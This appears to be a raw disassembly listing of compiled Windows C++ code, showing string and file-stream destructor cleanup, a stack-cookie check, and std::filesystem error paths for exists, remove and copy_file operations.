mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ec26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f35e
call fcn.140260e60
mov qword [rsp + 0x2ac8], r14
mov qword [rsp + 0x2ad0], 0xf
mov byte [rsp + 0x2ab8], 0
mov qword [rsp + 0x3130], r12
mov qword [rsp + 0x3138], rsi
mov rcx, qword [rsp + 0x3148]
test rcx, rcx
je 0x14002ec73
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, 1
call r8
nop
mov rdx, qword [rsp + 0x29f0]
cmp rdx, 0xf
jbe 0x14002ecb6
inc rdx
mov rcx, qword [rsp + 0x29d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ecb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f364
call fcn.140260e60
mov qword [rsp + 0x29e8], r14
mov qword [rsp + 0x29f0], 0xf
mov byte [rsp + 0x29d8], 0
mov rdx, qword [rsp + 0x2b70]
cmp rdx, 0xf
jbe 0x14002ed15
inc rdx
mov rcx, qword [rsp + 0x2b58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ed10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f36a
call fcn.140260e60
mov qword [rsp + 0x2b68], r14
mov qword [rsp + 0x2b70], 0xf
mov byte [rsp + 0x2b58], 0
movzx edx, byte [rsp + 0x2918]
lea rcx, [rsp + 0x2920]
call fcn.140051130
nop
mov rax, qword [rsp + 0x34b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x34b0], rax
mov rax, qword [rsp + 0x34b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x34ac], edx
lea rcx, [rsp + 0x34c0]
call fcn.140043d30
mov rax, qword [rsp + 0x34b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x34b0], rax
mov rax, qword [rsp + 0x34b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x34ac], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3560], rax
lea rcx, [rsp + 0x3560]
call fcn.1402451c4
nop
mov rdx, qword [rsp + 0x2a90]
cmp rdx, 0xf
jbe 0x14002ee19
inc rdx
mov rcx, qword [rsp + 0x2a78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ee14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f370
call fcn.140260e60
mov qword [rsp + 0x2a88], r14
mov qword [rsp + 0x2a90], 0xf
mov byte [rsp + 0x2a78], 0
mov rdx, qword [rsp + 0x2b30]
cmp rdx, 0xf
jbe 0x14002ee78
inc rdx
mov rcx, qword [rsp + 0x2b18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ee73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f376
call fcn.140260e60
mov qword [rsp + 0x2b28], r14
mov qword [rsp + 0x2b30], 0xf
mov byte [rsp + 0x2b18], 0
mov rdx, qword [rsp + 0x2a70]
cmp rdx, 0xf
jbe 0x14002eed7
inc rdx
mov rcx, qword [rsp + 0x2a58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002eed2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f37c
call fcn.140260e60
mov qword [rsp + 0x2a68], r14
mov qword [rsp + 0x2a70], 0xf
mov byte [rsp + 0x2a58], 0
mov rdx, qword [rsp + 0x2a50]
cmp rdx, 0xf
jbe 0x14002ef36
inc rdx
mov rcx, qword [rsp + 0x2a38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ef31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f382
call fcn.140260e60
mov qword [rsp + 0x2a48], r14
mov qword [rsp + 0x2a50], 0xf
mov byte [rsp + 0x2a38], 0
mov rdx, qword [rsp + 0x2b10]
cmp rdx, 0xf
jbe 0x14002ef95
inc rdx
mov rcx, qword [rsp + 0x2af8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002ef90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f388
call fcn.140260e60
mov qword [rsp + 0x2b08], r14
mov qword [rsp + 0x2b10], 0xf
mov byte [rsp + 0x2af8], 0
mov rdx, qword [rsp + 0x2af0]
cmp rdx, 0xf
jbe 0x14002eff4
inc rdx
mov rcx, qword [rsp + 0x2ad8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002efef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f38e
call fcn.140260e60
mov qword [rsp + 0x2ae8], r14
mov qword [rsp + 0x2af0], 0xf
mov byte [rsp + 0x2ad8], 0
mov rdx, qword [rsp + 0x28f0]
cmp rdx, 0xf
jbe 0x14002f053
inc rdx
mov rcx, qword [rsp + 0x28d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f04e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f394
call fcn.140260e60
mov qword [rsp + 0x28e8], r14
mov qword [rsp + 0x28f0], 0xf
mov byte [rsp + 0x28d8], 0
mov rdx, qword [rsp + 0x2980]
cmp rdx, 7
jbe 0x14002f0b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2968]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f0b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f39a
call fcn.140260e60
mov qword [rsp + 0x2978], r14
mov qword [rsp + 0x2980], 7
mov word [rsp + 0x2968], r14w
lea rcx, [rsp + 0x31a0]
call fcn.140041710
nop
mov rdx, qword [rsp + 0x2910]
cmp rdx, 0xf
jbe 0x14002f125
inc rdx
mov rcx, qword [rsp + 0x28f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f120
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f3a0
call fcn.140260e60
mov qword [rsp + 0x2908], r14
mov qword [rsp + 0x2910], 0xf
mov byte [rsp + 0x28f8], 0
mov rdx, qword [rsp + 0x2b50]
cmp rdx, 0xf
jbe 0x14002f184
inc rdx
mov rcx, qword [rsp + 0x2b38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f17f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f3a6
call fcn.140260e60
mov qword [rsp + 0x2b48], r14
mov qword [rsp + 0x2b50], 0xf
mov byte [rsp + 0x2b38], 0
lea rcx, [rsp + 0x2bf8]
call fcn.140042f50
mov rax, qword [rsp + 0x2bf8]
jmp 0x1400275e0
lea rdx, [rsp + 0x28b8]
lea rcx, [rsp + 0x28b8]
call fcn.140061550
nop
lea rdx, [rsp + 0x28a8]
lea rcx, [rsp + 0x28a8]
call fcn.140061550
nop
lea rcx, [rsp + 0x2928]
call fcn.140049640
nop
lea rcx, [rsp + 0x2b88]
call fcn.140049640
nop
lea rdx, [rsp + 0x28c8]
lea rcx, [rsp + 0x28c8]
call fcn.140061550
mov rcx, qword [rsp + 0x4148]
xor rcx, rsp
call fcn.140260e40
lea r11, [rsp + 0x4150]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
call fcn.140003620
nop
call fcn.14027d5c0
nop
lea r8, [rsp + 0x220]
lea rdx, [rsp + 0x2890]
lea rcx, str.exists
call fcn.140008ca0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.140003620
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
lea r8, [rsp + 0x88]
mov edx, eax
lea rcx, str.remove
call fcn.140008bb0
nop
lea r8, [rsp + 0x240]
lea rdx, [rsp + 0x2890]
lea rcx, str.exists
call fcn.140008ca0
nop
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0x2890]
lea rcx, str.exists
call fcn.140008ca0
nop
lea r9, [rsp + 0xa8]
lea r8, [rsp + 0xc8]
lea rcx, str.copy_file
call fcn.140008c20
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
nop
call fcn.14027d5c0
int3